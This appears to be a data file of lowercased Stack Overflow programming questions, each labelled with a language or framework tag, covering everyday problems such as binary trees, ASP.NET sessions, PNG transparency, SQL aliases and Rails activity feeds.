objective-c: what s the difference between id and an opaque pointer id   to an <code>id</code>-variable  i can assign a block and call it afterwards; with an opaque pointer id this doesn t work (exc_bad_access).    in restkit  the userdata-object is an  opaque pointer ; now  i d like to assign a block variable to it to call this block after the request finished. but because of this exc_bad_access it doesn t work. is there a chance to user this opaque pointer to assign a block to it     thanks a lot!    <strong>edit</strong>:   <pre><code>// this works id testid = ^{    nslog(@ hello ); };  testid();  // this doesn t - but it s important to know restkit void (^postnotification)(void) = objectloader.userdata // exc_bad_access postnotification(); </code></pre>   objectloader is of type <code>rkobjectloader</code> (subclass of <code>rkrequest</code>)  and the api says about <code>userdata</code>: <code>an opaque pointer to associate user defined data with the request.</code>,objective-c
binary tree in c++  can t figure out how to save nodes <pre><code>    node* bintree::insert(vector&lt;node&gt;&amp; vec  int index  node* leaf) {     node* new_node = &amp;vec[index];     node* left_leaf=null;     node* right_leaf=null;     leaf = new_node;     if (new_node-&gt;left == -1 || new_node-&gt;right == -1)         return null;     if (c ==  n )         {             root = new_node;             c =  y ;         }     index = new_node-&gt;left;     new_node-&gt;left_leaf = insert(vec  new_node-&gt;left  new_node-&gt;left_leaf);     index = new_node-&gt;right;     new_node-&gt;right_leaf = insert(vec  new_node-&gt;right  new_node-&gt;right_leaf);     return null; }; </code></pre>   so  the idea is that i should create a tree that looks like this: <a href= https://i.stack.imgur.com/2un5u.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/2un5u.jpg  alt= enter image description here ></a>    where the numbers below the circles are the indices that i m accessing through the vector. on each space of the vector there is:  the number to the left(index)  to the right(index) and inside the node and all of this seem to work  what is not working is my way to connect the tree. i can t figure out how to connect the tree. it seems to traverse correctly (preorder) but have no idea where to go from here...any ideas  the idea of the recursive step also troubles me  i don t know where to return the actual left pointer,c++
session in asp.net   i am facing a problem.     i maintain a session after login like <code>session[ userid ]</code> and every page is locked with this session like    <pre><code>if(session[ userid ] ==   ) { response.redirect( ./loginpage.aspx ); } else { // page working code } </code></pre>   problem is that i am saving the data then redirect the page after saving session was automatically clear and the page is redirect to login page.    in web config file i write this line   <pre><code>&lt;sessionstate mode= inproc   timeout= 60 &gt; </code></pre>   how i solved this problem to stay in session state on save data and redirecting the same page.,asp.net
transparent background of png saves as black  i recently followed <a href= http://net.tutsplus.com/tutorials/php/image-resizing-made-easy-with-php/  rel= nofollow >this</a> tutorial  but the thing is when i save a png it has a solid black background .. i am rather new to php.. how do i save it with a transparent background     here s the php class:   <pre><code># include( classes/resize_class.php ); # $resizeobj = new resize( images/cars/large/input.jpg ); # $resizeobj -&gt; resizeimage(150  100  0); # $resizeobj -&gt; saveimage( images/cars/large/output.jpg   100);  class resize {     // *** class variables     private $image;     private $width;     private $height;     private $imageresized;      function __construct($filename) {         // *** open up the file         $this-&gt;image = $this-&gt;openimage($filename);          // *** get width and height         $this-&gt;width  = imagesx($this-&gt;image);         $this-&gt;height = imagesy($this-&gt;image);     }      ## --------------------------------------------------------      private function openimage($file)     {         // *** get extension         $extension = strtolower(strrchr($file   . ));          switch($extension)         {             case  .jpg :             case  .jpeg :                 $img = @imagecreatefromjpeg($file);                 break;             case  .gif :                 $img = @imagecreatefromgif($file);                 break;             case  .png :                 $img = @imagecreatefrompng($file);                 break;             default:                 $img = false;                 break;         }         return $img;     }      ## --------------------------------------------------------      public function resizeimage($newwidth  $newheight  $option= auto )     {         // *** get optimal width and height - based on $option         $optionarray = $this-&gt;getdimensions($newwidth  $newheight  $option);          $optimalwidth  = $optionarray[ optimalwidth ];         $optimalheight = $optionarray[ optimalheight ];          // *** resample - create image canvas of x  y size         $this-&gt;imageresized = imagecreatetruecolor($optimalwidth  $optimalheight);         imagecopyresampled($this-&gt;imageresized  $this-&gt;image  0  0  0  0  $optimalwidth  $optimalheight  $this-&gt;width  $this-&gt;height);          // *** if option is  crop   then crop too         if ($option ==  crop ) {             $this-&gt;crop($optimalwidth  $optimalheight  $newwidth  $newheight);         }     }      ## --------------------------------------------------------      private function getdimensions($newwidth  $newheight  $option){          switch ($option)         {             case  exact :                 $optimalwidth = $newwidth;                 $optimalheight= $newheight;                 break;             case  portrait :                 $optimalwidth = $this-&gt;getsizebyfixedheight($newheight);                 $optimalheight= $newheight;                 break;             case  landscape :                 $optimalwidth = $newwidth;                 $optimalheight= $this-&gt;getsizebyfixedwidth($newwidth);                 break;             case  auto :                 $optionarray = $this-&gt;getsizebyauto($newwidth  $newheight);                 $optimalwidth = $optionarray[ optimalwidth ];                 $optimalheight = $optionarray[ optimalheight ];                 break;             case  crop :                 $optionarray = $this-&gt;getoptimalcrop($newwidth  $newheight);                 $optimalwidth = $optionarray[ optimalwidth ];                 $optimalheight = $optionarray[ optimalheight ];                 break;         }         return array( optimalwidth  =&gt; $optimalwidth   optimalheight  =&gt; $optimalheight);     }      ## --------------------------------------------------------      private function getsizebyfixedheight($newheight)     {         $ratio = $this-&gt;width / $this-&gt;height;         $newwidth = $newheight * $ratio;         return $newwidth;     }      private function getsizebyfixedwidth($newwidth)     {         $ratio = $this-&gt;height / $this-&gt;width;         $newheight = $newwidth * $ratio;         return $newheight;     }      private function getsizebyauto($newwidth  $newheight)     {         if ($this-&gt;height &lt; $this-&gt;width)         // *** image to be resized is wider (landscape)         {             $optimalwidth = $newwidth;             $optimalheight= $this-&gt;getsizebyfixedwidth($newwidth);         }         elseif ($this-&gt;height &gt; $this-&gt;width)         // *** image to be resized is taller (portrait)         {             $optimalwidth = $this-&gt;getsizebyfixedheight($newheight);             $optimalheight= $newheight;         }         else         // *** image to be resized is a square         {             if ($newheight &lt; $newwidth) {                 $optimalwidth = $newwidth;                 $optimalheight= $this-&gt;getsizebyfixedwidth($newwidth);             } else if ($newheight &gt; $newwidth) {                 $optimalwidth = $this-&gt;getsizebyfixedheight($newheight);                 $optimalheight= $newheight;             } else {                 // *** sqaure being resized to a square                 $optimalwidth = $newwidth;                 $optimalheight= $newheight;             }         }         return array( optimalwidth  =&gt; $optimalwidth   optimalheight  =&gt; $optimalheight);     }      ## --------------------------------------------------------      private function getoptimalcrop($newwidth  $newheight)     {         $heightratio = $this-&gt;height / $newheight;         $widthratio  = $this-&gt;width /  $newwidth;         if ($heightratio &lt; $widthratio) {             $optimalratio = $heightratio;         } else {             $optimalratio = $widthratio;         }          $optimalheight = $this-&gt;height / $optimalratio;         $optimalwidth  = $this-&gt;width  / $optimalratio;          return array( optimalwidth  =&gt; $optimalwidth   optimalheight  =&gt; $optimalheight);     }      ## --------------------------------------------------------      private function crop($optimalwidth  $optimalheight  $newwidth  $newheight)     {         // *** find center - this will be used for the crop         $cropstartx = ( $optimalwidth / 2) - ( $newwidth /2 );         $cropstarty = ( $optimalheight/ 2) - ( $newheight/2 );          $crop = $this-&gt;imageresized;         //imagedestroy($this-&gt;imageresized);          // *** now crop from center to exact requested size         $this-&gt;imageresized = imagecreatetruecolor($newwidth   $newheight);         imagecopyresampled($this-&gt;imageresized  $crop   0  0  $cropstartx  $cropstarty  $newwidth  $newheight   $newwidth  $newheight);     }      ## --------------------------------------------------------      public function saveimage($savepath  $imagequality= 100 )     {         // *** get extension         $extension = strrchr($savepath   . );         $extension = strtolower($extension);          switch($extension)         {             case  .jpg :             case  .jpeg :                 if (imagetypes() &amp; img_jpg) {                     imagejpeg($this-&gt;imageresized  $savepath  $imagequality);                 }                 break;             case  .gif :                 if (imagetypes() &amp; img_gif) {                     imagegif($this-&gt;imageresized  $savepath);                 }                 break;             case  .png :                 // *** scale quality from 0-100 to 0-9                 $scalequality = round(($imagequality/100) * 9);                 // *** invert quality setting as 0 is best  not 9                 $invertscalequality = 9 - $scalequality;                  if (imagetypes() &amp; img_png) {                     imagepng($this-&gt;imageresized  $savepath  $invertscalequality);                 }                 break;             // ... etc             default:                 // *** no extension - no save.                 break;         }          imagedestroy($this-&gt;imageresized);     } }   &gt; </code></pre>   a lot of code i know.. but i wouldn t know which parts are vital..apologies...    any help greatly appreciated.,php
how do i delay a jquery animation until after others finish   i have a function that does some fairly extensive dom manipulation  and i want to show a  loading...  spinner while the function runs:   <pre><code>function showfoos() {   $( #spinner ).show();   bighairydommanipulation();   $( #spinner ).hide(); }  function bighairydommanipulation() {   for (var i=0; i &lt; arrayoffoos.length; i++){     buildfoobox(arrayoffoos[i]  i);   } }  function buildfoobox(foo  index) {   $( #foos ).append(               $( &lt;li /&gt; ).append(...)                          .append(...)                          ...              ); } </code></pre>   unfortunately  all of the <code>append()</code> calls return quickly  so even though the view isn t ready  the function is done and the spinner hides.    i can t think of a good way of chaining all of those appends together into one chain  so i can t just tack the <code>show()</code> on the front and the <code>hide()</code> on the end.    is there another way to force the <code>hide()</code> call to wait for all the other manipulation to occur,jquery
html how to add background music  how do i add background music such as youtube video to music.  i don t want to add my songs from the harddrive  just online song to background.      this way if people come to my website there is some kind of music to listen too.     thanks and if you know the code please tell me and thank you for your time.      i think there is something to do with iframe,html
sql - is it possible to use alias in where   i tried the following sql on <a href= https://www.w3schools.com/sql/trysql.asp filename=trysql_select_alias_column0  rel= nofollow noreferrer >this</a> example playground page from w3schools.   <pre><code>select customerid as id  customername as customer from customers where customer= alfreds futterkiste ; </code></pre>   but i get <code>no value given for one or more required parameters.</code> as response. it works if i use <code>customername</code> instead of the alias.    is this a fail of the playground test page or is it just not possible,sql
form view (for inserting only) - contains drop down list  i have a form view in asp.net with a text box and a drop down list. i m trying to populate the drop down list - from a separate table than the one i m inserting data into.  for example - a list of states - with value = ca; text = california.    i have a linq statement that i ve created  but i can t seem to populate the ddl. any suggestions,asp.net
querying sqlite in android( summation of column values)  hi guys i want to get the summation of column values from my sqlite database in android. and am trying to use this to get me the sum of column key_cost.    <pre><code>public cursor fetchallcost() {    return mdb.query(                      database_table                        new string[] {  sum(key_cost) }                        null                        null                        null                        null                        null); } </code></pre>   but its giving me a cursor and i do not know how to get the value from the cursor object. any one help!!!,sql
load uiwebview when clicking a button <pre><code>-(ibaction)loadwebview {   nsstring * url = [nsstring stringwithformat:@ %@   [_urlarray objectatindex:_urlint] ];   nslog(@ _urlint: %d  _urlint);   nslog(@ get url: %@  url);   //[self.webview loadrequest:[nsurlrequest requestwithurl:[ nsurl urlwithstring: url ] ] ];   [self.webview loadrequest:[nsurlrequest requestwithurl:[ nsurl urlwithstring:@ http://www.google.com ]]]; } </code></pre>   the above is my code in an ipad project.<br> <br> it triggers this method when clicking a button on the same view controller or click a row of a table on different view controller.<br><br> values of _urlarray and _urlint are from the table when i click a row of the table. i can get the url in this method but i cannot relaod the uiwebview. however  when i modify the url to the home page of google and i click the button  the page can be reload to google.com.    i cannot get the reason. could someone teach me that  <br> thanks...,ios
"validation errors move button right - css  <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.password-reset {
   padding: 40px 50px 0;
   float: left;
 }
 .form-field {
   float: left;
   font-size: 18px;
   color: #fff;
   margin-right: 15px;
 }
 .form-field--wide {
   width: 100%;
   float: left;
   margin-bottom: 20px;
 }
 .form-field label {
   margin-bottom: 3px;
   width: 100%;
   display: block;
   color: black;
 }
 .form-field input {
   padding: 10px;
   color: #000;
   width: 245px;
   float: left;
 }
 .form-field input.error {
   color: #ed1b2e;
 }
 .form-field--half {
   width: 48%;
   margin: 0;
 }
 .form-field--half input {
   width: 100%;
 }
 .form-field--repos {
   float: right;
 }
 .form-error {
   color: #ed1b2e;
   font-size: 14px;
   float: left;
   margin: 5px 3px 0 0;
   display: inline-block;
 }
 .form-error.alert {
   clear: both;
 }
 .form-error ul {
   list-style: none;
   padding: 0;
   margin: 0;
 }
 .form-error li {
   /*display: inline-block;*/
   margin-right: 3px;
 }
 .form-field--wide .form-error {
   font-size: 18px;
   color: #ed1b2e;
   padding: 0 10px;
   font-size: 18px;
   width: 180px;
   float: left;
   line-height: normal;
   margin-top: 0;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= password-reset &gt;
   &lt;form id= passwordreminderform  action= /service/public/passwordreminder.do sitelanguage=en  method= post &gt;
     &lt;div class= form-field form-field--half &gt;
       &lt;label for= user &gt;username&lt;/label&gt;
       &lt;div class= input error-input &gt;
         &lt;input id= passwordreminderformusername  name= username  value=   type= text &gt;
       &lt;/div&gt;
     &lt;/div&gt;
     &lt;!-- .form-field --&gt;
 
     &lt;div class= form-field form-field--half form-field--repos &gt;
       &lt;label for= email &gt;e-mail&lt;/label&gt;
       &lt;div class= input error-input &gt;
         &lt;input style= width: 120%;  id= passwordreminderformemail  name= email  value=   type= text &gt;
       &lt;/div&gt;
     &lt;/div&gt;
     &lt;!-- .form-field --&gt;
     &lt;div class= verification-messages message--red &gt;
       &lt;div id= passwordreminderform.errors  class= form-error &gt; e-mail  must be set
         &lt;br&gt; username  must be set&lt;/div&gt;
     &lt;/div&gt;
     &lt;input class= btn btn--top-offset js-validate-image submit-form  value= remind me  type= submit &gt;
     &lt;input name= _csrf  value= 7035c910-22bf-49b9-b0b3-facd9d460fbd  type= hidden &gt;
   &lt;/form&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     i have provided css and html code. as you see the problem is that  validation errors move  remind me  button to the right  but it should always be on the left side. how can i achieve this  any suggestions  i will provide button styles if needed. <a href= http://fiddle.jshell.net/an04z337/  rel= nofollow >link to fiddle</a>",css
breaking line when text is overflow containing it div  i have code like this:   <pre><code>&lt;div&gt;     &lt;ul&gt;         &lt;li&gt;this my text but it is too long and it is stick out from div becaue it has too many characters. and i want it text to break somewhere  beste break it in place where is blank character.&lt;/li&gt;     &lt;ul&gt; &lt;/div&gt; </code></pre>   i would like to have something looks like this done automatically:   <pre><code>    &lt;div&gt;         &lt;ul&gt;             &lt;li&gt;this my text but it is too long and it is stick out from div                  becaue it has too many characters. and i want it text to break                 somewhere  beste break it in place where is blank character.             &lt;/li&gt;         &lt;ul&gt;     &lt;/div&gt; </code></pre>   can i do this in html and css or i need something else  maybe javascript  if i can do this anyhow  could someone help me,html
force table name before field in select <pre><code>select * from table1 t1 left outer join table2 t2 on t1.ccontact_fk = t2 .ccontact_pk </code></pre>   both tables have a date_createfield  so when i use select *  date_createfield is returned twice. i could solve this by changing my select to:   <pre><code>select t1.date_createfield  t2.date_createfield from table1 t1 left outer join table2 t2 on t1.ccontact_fk = t2 .ccontact_pk </code></pre>   but is it possible to not specify the specifik fields (keep select *)  and force the table name in front of the property     i m having this problem because i m joining 2 tables with a lot of columns and some columns have the same name. i would like to use select * and still have a distinction between columns present in both tables. is this possible,sql
<td> doesn t work with <select>  i m having a weird problem.    here s my code :-    <pre><code>&lt;table&gt; &lt;tr&gt;     &lt;td&gt;ports to be opened(&lt;em&gt;&lt;small&gt;shift select multiple options&lt;/em&gt;&lt;/small&gt;:&lt;/td&gt;     &lt;/tr&gt;      &lt;td&gt;&lt;select name= portoptions[]  multiple= multiple &gt;&lt;/td&gt;     &lt;option value= tcp &gt;tcp&lt;/option&gt;     &lt;option value= udp &gt;udp&lt;/option&gt;     &lt;option value= protocol &gt;protocol&lt;/option&gt;      &lt;/select&gt; &lt;/table&gt; </code></pre>   the problem :- the options doesn t get listed down  it s completely blank..show s nothing. how do i fix it so that options are viewable as well   thanks.,html
flipping status of records without regression over time  not sure how to look for this  so i m sorry if this was asked before.    supposedly i am supplied with a collection of records. these records carry a certain status  which is either <code>true</code> or <code>false</code>. over time  our client would want a specific subset of the documents to be switched from one state or another.    so currently the records are stored in a sql database (postgresql to be exact). so in order to keep a history of the flipping of status (and also to ensure we can rerun everything from scratch in case something screwed up)  we have all the update statements stored in a version-controlled repository. however  because this is sql  and after a while the sql becomes super complicated (to ensure no regression  i.e. not setting the status to <code>true</code> when it was previously requested to be <code>false</code>).    for example  we received ticket #1 and #2 in the past to flip records to <code>true</code> and <code>false</code> respectively   <pre><code>-- do this for ticket #1 update  record set     status = true where   id in (select  id                from    records                where   this_criteria =  that );   -- do this for ticket #2 update  record set     status = false where   id in (select id                from   records                where  another_criteria =  whatever ) </code></pre>   this is what we do when we have a ticket #3 where it involves a subset of records in #1 and #2   <pre><code>-- do this for ticket #3 update  records set     statue = true where   id in (select  id                from    records                where   true_criteria =  something )         and id not in (-- regression ticket #1                        select  id                        from    records                        where   this_criteria =  that                         union                        -- regression ticket #2                        select  id                        from    records                        where   another_criteria =  whatever ); </code></pre>   so what we are doing now is to run the update statement for #1  then followed by #2  lastly #3. as expected  #3 will take forever to run. i can optimize the query  but it is still not going to help in the long run  as future tickets will be causing more and more complicated conditions being written to avoid overwriting the status set in the previous ticket(s).    now that we are looking for an alternative to the approach for another project  and we are expecting to have the status flip to happen far more frequently in the future. what could be a better way to manage this  and if possible  provide a way for us to actually log the changes (doesn t have to be sql)     instead of doing it in batches  we are shifting towards update them incrementally over time (imagine we send the records into a pipe one after another periodically  and each request of client is a box to flip record s status if applicable  finally those records will be upserted to some data store). so we are replacing sql into some rule-based mini dsl to ensure the condition is met before flipping the status. however  that doesn t look like an improvement to the sql method  because sooner or later the condition will grow due to regression check  and the rules are practically just sql in another format.    an example of the new one for ticket #3 would be some thing like this   <pre><code>set status to true condition (is_equal  true_criteria   something ) # new ticket #3 request           # regression in ticket #1           and (not_equal  this_criteria   that )           # regression in ticket #2           and (not_equal  another_criteria   whatever ) </code></pre>   as you can see while i don t have to do it to all records at once like sql  the statement above is really just a variation to the original sql counterpart.    edit:   <ol> <li>this is not about sql optimization  i can also implement this without using relational database  and then i can remove the identifier column. the status variable is not determined by the value of the identifier.</li> <li>assuming i am gonna throw the collection into a search appliance  i.e. elasticsearch  so it would be nice if i can pre-compute the status  so i don t have to attach a huge query dsl on top of user issued query  to ensure only <code>status=true</code> records are returned.</li> <li>i am looking for an alternative solutions  that do not have to be implemented in relational database (hence i removed the <code>postgresql</code> tag).</li> <li>the client does not always care if their new request will caused the some of the previously set status to flip  they just want to ensure the previously flipped statuses are not implicitly rewritten when the new condition is applied.</li> <li>in the sql implementation  we made a mistake of not logging the changelog for the status field  and the one we are drafting will be having that  so yes  we have to have a way to log the status flip.</li> </ol>,sql
print custom function response in modal popup angularjs  how to print my response in my modal popup.    i have a different function for open modal &amp; my custom function     i want to print my custom function response in modal popup    <pre><code>$scope.createuser = function() {         var modalinstance = $modal.open({             templateurl:  /js/modal-popup.html               controller: function ($scope  $modalinstance  $log) {                 $scope.cancel = function () {                     $modalinstance.dismiss( cancel );                  };             }          });     }      $scope.alltest = function() {                     $http({                         method:  get                           url:  api/url                      }).success( function (data) {                         $scope.data = data.data;                     }).error(function (response){                         console.log( error );                       });                 }                  &lt;button type= button  name= createuser  class= btn btn-primary pull-right  ng-click= createuser(); alltest() &gt;create user &lt;/button&gt;  &lt;div class= modal-header &gt;     &lt;h3 class= modal-title &gt;&lt;span class= glyphicon glyphicon-user &gt;&lt;/span&gt; create user&lt;/h3&gt;  &lt;/div&gt; &lt;div class= modal-body &gt;     {{data}} &lt;/div&gt; &lt;div class= modal-footer &gt;     &lt;button class= btn btn-primary  ng-click= ok() &gt;ok&lt;/button&gt;     &lt;button class= btn btn-warning  ng-click= cancel() &gt;cancel&lt;/button&gt; &lt;/div&gt; </code></pre>,angularjs
"detect when mouse moves outside of an element  <code>mousemove</code> is fired when mouse is moving over an element. how can i detect when the mouse is moving outside of an element  in other words  anywhere on the page besides the div in the snippet. not when the mouse leaves but fires whenever the mouse is moving outside of the element.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>const div = document.queryselector( div );
 
 div.addeventlistener( mousemove   function() {
     document.body.classlist.add( mouse-moving );
  });</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>div {
   height: 200px;
   width: 300px;
   background-color: red;
 }
 .mouse-moving {
   background-color: green;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div&gt;&lt;/div&gt;</code></pre>
 </div>
 </div>",javascript
how to run a program forever in java  is system.in.read() the only way   i took <a href= http://jersey.java.net/nonav/documentation/latest/getting-started.html#d4e54  rel= nofollow >this code</a>:   <pre><code> 28     public static void main(string[] args) throws ioexception {  29         httpserver httpserver = startserver();  30         system.out.println(string.format( jersey app started with wadl available at    31                 +  %sapplication.wadl\ntry out %shelloworld\nhit enter to stop it...    32                 base_uri  base_uri));  33         system.in.read();  34         httpserver.stop();  35     }  </code></pre>   does line 33  system.in.read()  means that it will block until there is input  will this also work when starting the java application using unix rc script - not manually started from a command line     i d like to write a java application to listen for http connections. the application will be started automatically when the system boots (using unix rc scripts). it means that the application will run continuously - theoretically forever  until purposefully stopped. what is the best way to implement this in the java main() method,java
how would i use jquery to display a div containing text when clicking on a gallery thumbnail instead of the large image   here is the code as it stands  i have a larger image appear when clicking on a thumbnail. what i would like is to have a div containing descriptive text appear instead. this the jquery that does all of that:   <pre><code>$(document).ready(function() {  // set these divs to show for browsers suporting javascipt $( .gallery_data ).css( display   block ); $( .gallery_thumbnails ).css( width   500px ); $( .gallery_preview ).css( display   block ); $( .gallery_caption ).css( display   block );  // capture the thumbnail links $( .gallery_thumbnails a ).click(function(e){      // disables standard link behavior     e.preventdefault();      /*     // before the updatethumbnail function     $( .gallery_thumbnails a ).removeclass( selected );     $( .gallery_thumbnails a ).children().css( opacity    1 );     $(this).addclass( selected );     $(this).children().css( opacity    .4 );     */       // sets up variables based on linked thumbnails     var photo_caption = $(this).attr( title );     var photo_fullsize = $(this).attr( href );     var photo_preview = photo_fullsize.replace( _fullsize    _preview );      // fade out preview  preload new image  fade preview back in     $( .gallery_caption ).slideup(500);     $( .gallery_preview ).fadeout(500  function(){          //add the preload after the fadeout has happened         $( .gallery_preload_area ).html( &lt;img src=  +photo_preview+  &gt; );         $( .gallery_preload_area img ).imgpreload(function(){              //first without function                 $( .gallery_preview ).html( &lt;a class= overlaylink           title=  +photo_caption+   href=  +photo_fullsize+   style= background- image:url( +photo_preview+ ); &gt;&lt;/a&gt; );             $( .gallery_caption ).html( &lt;p&gt;&lt;a class= overlaylink zoom    title=  +photo_caption+   href=  +photo_fullsize+  &gt;view larger&lt;/a&gt; &lt;/p&gt;&lt;p&gt; +photo_caption+ &lt;/p&gt; );              $( .gallery_preview ).fadein(500);             $( .gallery_caption ).slidedown(500);              setfancyboxlinks();             updatethumbnails();         });      });  });  // set the first preview image var first_photo_caption = $( .gallery_thumbnails a ).first().attr( title ); var first_photo_fullsize = $( .gallery_thumbnails a ).first().attr( href ); var first_photo_preview = first_photo_fullsize.replace( _fullsize    _preview ); $( .gallery_preview ).html( &lt;a class= overlaylink  title=  +first_photo_caption+    href=  +first_photo_fullsize+   style= background-image:url( +first_photo_preview+ ); &gt; &lt;/a&gt; ); $( .gallery_caption ).html( &lt;p&gt;&lt;a class= overlaylink zoom   title=  +first_photo_caption+   href=  +first_photo_fullsize+  &gt;view larger&lt;/a&gt; &lt;/p&gt;&lt;p&gt; +first_photo_caption+ &lt;a href=  +first_photo_fullsize+   style= background- image:url( +first_photo_preview+ ); &gt;&lt;/a&gt;&lt;/p&gt; ); updatethumbnails(); setfancyboxlinks();  });  function setfancyboxlinks(){ // links for facnybox $( a.overlaylink ).fancybox({      titleposition  :  over        overlaycolor  :  #000        overlayopacity  : 0.8       transitionin  :  elastic        transitionout  :  elastic        autoscale  : true }); }  function updatethumbnails(){  $( .gallery_thumbnails a ).each(function(index){      if ( $( .gallery_preview a ).attr( href ) == $(this).attr( href ) ){         $(this).addclass( selected );         $(this).children().fadeto(250  .4);     }else {         $(this).removeclass( selected );         $(this).children().css( opacity    1 );     }  });  } </code></pre>,jquery
dynamic program for handle operator  i have a program that handle the math operator(+ * - /).i have an interface operator that have a calculate method like so:   <pre><code>public interface operator {     double calculate(double firstnumber double secondnumber); } </code></pre>   i have four class (plus minus divide multiply) that implement the operator interface like so :   <pre><code>public class plus implements operator {        public double calculate(double firstnumber double secondnumber)     {         return firstnumber + secondnumber;     } }  public class minus implements operator {     public double calculate(double firstnumber double secondnumber)     {         return firstnumber - secondnumber;     } } </code></pre>   and so on...    i use map to handle the operator :   <pre><code>static map&lt;string operator&gt; operatormap = new hashmap&lt;string operator&gt;(); static {     operatormap.put( +   new plus());     operatormap.put( -   new minus());     operatormap.put( *   new multiply());     operatormap.put( /   new divide()); }  double output = operatormap.get(op).calculate(firstnumber secondnumber); </code></pre>   i should change the program like so:    i have a folder(myfolder).every one can get the interface and implement own operator and put .class file in myfolder.my program should also work.it means dependency to (+ * - /) should remove from my program. for example some one get the operator interface and implement % and put .class file in my folder my program still should work(map implementation must change) can anyone help me   i am so appreciate.,java
does this cause memory leak   <code>base</code> is the base class and <code>derived</code> is the derived class.   <pre><code>base* p = new derived; delete p; </code></pre>   let s assume that the base destructor is not virtual. does this cause memory leak  if yes  why  and what would be the solution to fix it,c++
undefined method activity feed and acts_as_follower  i have this set up in my <strong>activitiescontroller:</strong>   <pre><code>class activitiescontroller &lt; applicationcontroller   def index     following_ids = current_member.following_members.map(&amp;:id)     @activities = activity.where( member_id in ( )   following_ids.push(current_member.id)).order( created_at desc )   end end </code></pre>   this set up in my <strong>followscontroller:</strong>   <pre><code>def create     @member = member.find_by_user_name(params[:member_id])     @follow_member = current_member.follow(@member)     if @follow_member         current_member.create_activity(@follow_member   followed )         respond_to do |format|           format.html { redirect_to @member }           format.js          end     end  end </code></pre>   and this set up to display the activity of following another member:   <pre><code>&lt;div&gt;     &lt;span class= status_name &gt;         &lt;%= link_to activity.member.user_name  profile_path(activity.member) %&gt;     &lt;/span&gt;      &lt;span&gt;         is now following &lt;%= link_to activity.targetable.following_member.user_name   #  %&gt;     &lt;/span&gt;      &lt;span class= meta &gt;         &lt;%= time_ago_in_words(activity.targetable.created_at) %&gt;      &lt;/span&gt; &lt;/div&gt;  &lt;div class= act_content &gt;     &lt;%= follow_profile_link activity.targetable.following_member %&gt; &lt;/div&gt; </code></pre>   i was able to get the following action to create a new activity item in the feed just fine but i can t figure out how to call to the member who s being followed. i get this error:   <pre><code>undefined method `following_member  for #&lt;follow:0x835b150&gt;  app/views/activities/follow/_followed.html.erb:3:in `_app_views_activities_follow__followed_html_erb__269116874_68857716  app/views/activities/index.html.erb:14:in `block in _app_views_activities_index_html_erb___16061925_44845644  app/views/activities/index.html.erb:5:in `_app_views_activities_index_html_erb___16061925_44845644  </code></pre>   i can t figure out what i need to do or what specifically to call to make this work. any ideas     <strong>edit - models</strong>    <strong>activity model</strong>   <pre><code>class activity &lt; activerecord::base   belongs_to :member   belongs_to :targetable  polymorphic: true end </code></pre>   <strong>follow model</strong>   <pre><code>class follow &lt; activerecord::base    extend actsasfollower::followerlib   extend actsasfollower::followscopes    # note: follows belong to the  followable  interface  and also to followers   belongs_to :followable  :polymorphic =&gt; true   belongs_to :follower    :polymorphic =&gt; true    def block!     self.update_attribute(:blocked  true)   end  end </code></pre>   <strong>member model</strong>   <pre><code>class member &lt; activerecord::base   # include default devise modules. others available are:   # :confirmable  :lockable  :timeoutable and :omniauthable   devise :database_authenticatable  :registerable           :recoverable  :rememberable  :trackable  :validatable    # setup accessible (or protected) attributes for your model   attr_accessible :email  :email_confirmation  :password  :password_confirmation  :remember_me                  :first_name  :last_name  :user_name  :pursuits  :avatar  :bio  :city  :state  :country  :pursuit_list   has_many :medium  has_many :statuses  has_many :activities  acts_as_follower  acts_as_followable  acts_as_ordered_taggable  acts_as_ordered_taggable_on :pursuits   def create_activity(item  action)     activity = activities.new     activity.targetable = item     activity.action = action      activity.save      activity  end  </code></pre>   <strong>edit - activities migration</strong>   <pre><code>class createactivities &lt; activerecord::migration   def change     create_table :activities do |t|         t.integer :member_id         t.string :action          t.integer :targetable_id         t.string :targetable_type          t.timestamps     end      add_index :activities  :member_id     add_index :activities  [:targetable_id  :targetable_type]    end end </code></pre>   <strong>activity index</strong>   <pre><code>&lt;% @activities.each do |activity| %&gt;     &lt;div class= status &gt;             &lt;div class= row &gt;                 &lt;div class= span1 stream_av &gt;                     &lt;%= avatar_profile_link activity.member %&gt;                 &lt;/div&gt;                  &lt;div class= span7 &gt;                      &lt;%= render partial:  activities/#{activity.targetable_type.underscore}/#{activity.action}                           locals: { activity: activity } %&gt;                  &lt;/div&gt;             &lt;/div&gt;          &lt;/div&gt; &lt;% end %&gt; </code></pre>   <strong>new activity for uploading media</strong>   <pre><code>&lt;div&gt;     &lt;span class= status_name &gt;         &lt;%= link_to activity.member.user_name  profile_path(activity.member) %&gt;&lt;/span&gt;     &lt;span&gt;uploaded new &lt;%= link_to  media   profile_media_path(activity.member) %&gt;&lt;/span&gt;     &lt;span class= meta &gt; &lt;%= time_ago_in_words(activity.targetable.created_at) %&gt; &lt;/span&gt; &lt;/div&gt;  &lt;div class= act_content &gt;     &lt;%= link_to image_tag(activity.targetable.asset.url(:medium)  class:   )  medium_path(activity.targetable_id) %&gt; &lt;/div&gt; </code></pre>   <strong>new activity for writing a status</strong>   <pre><code>&lt;div&gt;     &lt;span class= status_name &gt;         &lt;%= link_to activity.member.user_name  profile_path(activity.member) %&gt;&lt;/span&gt;     &lt;span&gt;wrote a &lt;%= link_to  post   profile_stream_path(activity.member) %&gt;&lt;/span&gt;     &lt;span class= meta &gt; &lt;%= time_ago_in_words(activity.targetable.created_at) %&gt; &lt;/span&gt; &lt;/div&gt;  &lt;div class= act_content &gt;     &lt;%= activity.targetable.content %&gt; &lt;/div&gt; </code></pre>,ruby-on-rails
